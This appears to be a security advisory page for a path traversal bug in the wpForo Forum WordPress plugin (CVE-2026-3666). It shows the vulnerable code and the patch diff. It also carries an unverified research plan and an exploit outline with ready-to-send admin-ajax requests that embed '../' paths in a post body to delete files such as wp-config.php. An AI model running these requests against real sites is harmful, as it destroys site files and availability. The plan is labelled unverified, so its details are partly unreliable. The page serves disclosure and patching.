CVE-2026-3666

wpForo Forum <= 2.4.16 - Authenticated (Subscriber+) Arbitrary File Deletion via Post Body

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.4.17
Patched in
1d
Time to patch

Description

The wpForo Forum plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 2.4.16. This is due to a missing file name/path validation against path traversal sequences. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary files on the server by embedding a crafted path traversal string in a forum post body and then deleting the post.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.4.16
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginwpforo

What Changed in the Fix

Changes introduced in v2.4.17

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-3666**, a critical path traversal vulnerability in the **wpForo Forum** plugin (<= 2.4.16). The vulnerability allows authenticated users (Subscriber level and above) to delete arbitrary files on the server by placing a traversal string in a post body and then de…

Show full research plan

This research plan targets CVE-2026-3666, a critical path traversal vulnerability in the wpForo Forum plugin (<= 2.4.16). The vulnerability allows authenticated users (Subscriber level and above) to delete arbitrary files on the server by placing a traversal string in a post body and then deleting that post.

1. Vulnerability Summary

The vulnerability exists in the post deletion logic of wpForo. When a post is deleted, the plugin attempts to clean up associated files (like attachments or embedded images) by scanning the post's HTML body for file paths. Because the plugin fails to validate these paths against path traversal sequences (../), an attacker can reference sensitive files outside the intended uploads directory. When the post is deleted, the plugin calls unlink() on the manipulated path.

2. Attack Vector Analysis

  • Endpoint: Post creation and deletion actions. These are typically handled via admin-ajax.php or the frontend action handler ?wpforo=action.
  • Vulnerable Action (Creation): wpforo_post_save (used for adding/editing posts).
  • Vulnerable Action (Deletion): wpforo_post_delete.
  • Payload Parameter: post['body'] (during creation/edit).
  • Authentication: Authenticated (Subscriber+). The user must have permission to create and delete their own posts.
  • Preconditions: A forum and at least one topic must exist to allow the user to post a reply.

3. Code Flow (Inferred from Patch Description)

  1. Entry Point: The user sends an AJAX request to delete a post (action=wpforo_post_delete).
  2. Handler: The request is routed to wpforo\classes\Posts::delete().
  3. Body Retrieval: The method fetches the post data from the database, specifically the body column.
  4. Path Extraction: The code uses a regex to find strings resembling wpForo upload paths (e.g., matching the wp-content/uploads/wpforo/ directory structure).
  5. Traversal Sink:
    • The code identifies a file path like .../wp-content/uploads/wpforo/default/../../../../wp-config.php.
    • It resolves this to an absolute path.
    • It calls unlink($resolved_path) without verifying that the file resides within the allowed directory.
  6. File Deletion: The filesystem deletes the target file (e.g., wp-config.php).

4. Nonce Acquisition Strategy

wpForo exposes its nonces through the wp_localize_script function, usually under the global JavaScript object wpforo_obj.

  1. Trigger Script Loading: wpForo scripts load on any page containing the [wpforo] shortcode.
  2. Create/Identify Page: Use an existing forum page or create a temporary one.
    • wp post create --post_type=page --post_status=publish --post_content='[wpforo]'
  3. Extraction:
    • Navigate to the page.
    • Use browser_eval to extract the nonce:
      browser_eval("window.wpforo_obj?.wpforo_ajax_nonce")
  4. Alternative: The nonce might also be found in the HTML source within a script tag: var wpforo_obj = { ... "wpforo_ajax_nonce":"[NONCE_VALUE]" ... };.

5. Test Data Setup

  1. Create Subscriber:
    wp user create attacker user@example.com --role=subscriber --user_pass=password123
  2. Ensure Forum Exists:
    wpForo requires a forum and a topic to accept posts.
    • Identify a forumid and topicid (usually 1 for default installs).
    • If none exist, use wp eval "WPF()->forum->add(['title' => 'Test Forum']);" and wp eval "WPF()->topic->add(['forumid' => 1, 'title' => 'Test Topic']);".
  3. Create Target File:
    echo "vulnerable" > /var/www/html/delete-me.txt (This will be the file we target for deletion).

6. Exploitation Strategy

Step 1: Create a Post with the Traversal Payload

Send a POST request to create a reply. The payload must look like a valid wpForo upload path but contain traversal.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpforo_post_save
    &wpforo_ajax_nonce=[NONCE]
    &post[topicid]=1
    &post[body]=<img src="http://localhost:8080/wp-content/uploads/wpforo/default/../../../../delete-me.txt">
    &post[title]=Exploit Post
    
  • Response: Expect a JSON response containing the postid of the newly created post.

Step 2: Delete the Post to Trigger unlink()

Use the postid received in Step 1.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpforo_post_delete
    &wpforo_ajax_nonce=[NONCE]
    &postid=[POST_ID]
    
  • Response: Expect a success message indicating the post was deleted.

7. Expected Results

  • Successful Creation: The post is saved in the database with the malicious img tag.
  • Successful Deletion: The plugin processes the body, extracts the path delete-me.txt via traversal, and deletes it.
  • Verification: The file /var/www/html/delete-me.txt should no longer exist.

8. Verification Steps

  1. Check File Persistence:
    ls /var/www/html/delete-me.txt (Expected: "No such file or directory").
  2. Verify Post Deletion:
    wp db query "SELECT * FROM wp_wpforo_posts WHERE postid = [POST_ID]" (Expected: Empty result).

9. Alternative Approaches

  • Different Payload Syntax: If the <img> tag is sanitized on input, try embedding the path in a different attribute or as a plain URL if the regex is broad: [wpf-attach src=".../wp-content/uploads/wpforo/../../../../delete-me.txt"].
  • Frontend Action Handler: Instead of admin-ajax.php, use the frontend action trigger:
    GET /index.php?wpforo=action&wpforo_action=post_delete&postid=[POST_ID]&wpforo_ajax_nonce=[NONCE]
  • Target wp-config.php: For a high-impact PoC, target wp-config.php (but back it up first!). Note that deleting wp-config.php will trigger the WordPress installation screen, proving arbitrary file deletion.
Research Findings
Static analysis — not yet PoC-verified

Summary

The wpForo Forum plugin is vulnerable to arbitrary file deletion by authenticated users (Subscriber+). This occurs because the post deletion logic scans the post body for attachment paths and calls unlink() on them without validating that the resulting path is contained within the intended directory, allowing for path traversal.

Vulnerable Code

// classes/Posts.php, line ~1371
if( preg_match_all( '|\/wpforo\/default_attachments\/([^\s\"\]]+)|i', (string) $post['body'], $attachments, PREG_SET_ORDER ) ) {
    foreach( $attachments as $attachment ) {
        $filename = trim( $attachment[1] );
        $file     = WPF()->folders['default_attachments']['dir'] . DIRECTORY_SEPARATOR . $filename;
        if( file_exists( $file ) ) {
            $posts = WPF()->db->get_var( "SELECT COUNT(*) as posts FROM `" . WPF()->tables->posts . "` WHERE `body` LIKE '%" . esc_sql( $attachment[0] ) . "%'" );
            if( is_numeric( $posts ) && $posts == 1 ) {
                @unlink( $file );
            }
        }
    }
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.16/classes/Posts.php	2026-02-28 13:24:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.17/classes/Posts.php	2026-03-15 11:26:40.000000000 +0000
@@ -1371,7 +1371,13 @@
 			if( preg_match_all( '|\/wpforo\/default_attachments\/([^\s\"\]]+)|i', (string) $post['body'], $attachments, PREG_SET_ORDER ) ) {
 				foreach( $attachments as $attachment ) {
 					$filename = trim( $attachment[1] );
+					$filename = str_replace( [ '../', './', '\\' ], '', $filename );
 					$file     = WPF()->folders['default_attachments']['dir'] . DIRECTORY_SEPARATOR . $filename;
+					$real_file = realpath( $file );
+					$real_dir  = realpath( WPF()->folders['default_attachments']['dir'] );
+					if( ! $real_file || ! $real_dir || strpos( $real_file, $real_dir . DIRECTORY_SEPARATOR ) !== 0 ) {
+						continue;
+					}
 					if( file_exists( $file ) ) {
 						$posts = WPF()->db->get_var( "SELECT COUNT(*) as posts FROM `" . WPF()->tables->posts . "` WHERE `body` LIKE '%" . esc_sql( $attachment[0] ) . "%'" );
 						if( is_numeric( $posts ) && $posts == 1 ) {

Exploit Outline

1. Authenticate as a Subscriber or higher level user. 2. Obtain the 'wpforo_ajax_nonce' from the global 'wpforo_obj' JavaScript object on any forum page. 3. Create a new forum post/reply via the 'wpforo_post_save' action. In the 'post[body]' parameter, include a string that matches the regex for wpForo attachments but includes a path traversal sequence targeting a sensitive file (e.g., '<img src="/wpforo/default_attachments/../../../../wp-config.php">'). 4. Extract the 'postid' of the newly created post from the server response. 5. Trigger the 'wpforo_post_delete' action using the extracted 'postid'. 6. The plugin's cleanup logic will identify the string in the body, resolve the path traversal to the target file (e.g., wp-config.php), and call unlink() on it, deleting the file from the server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.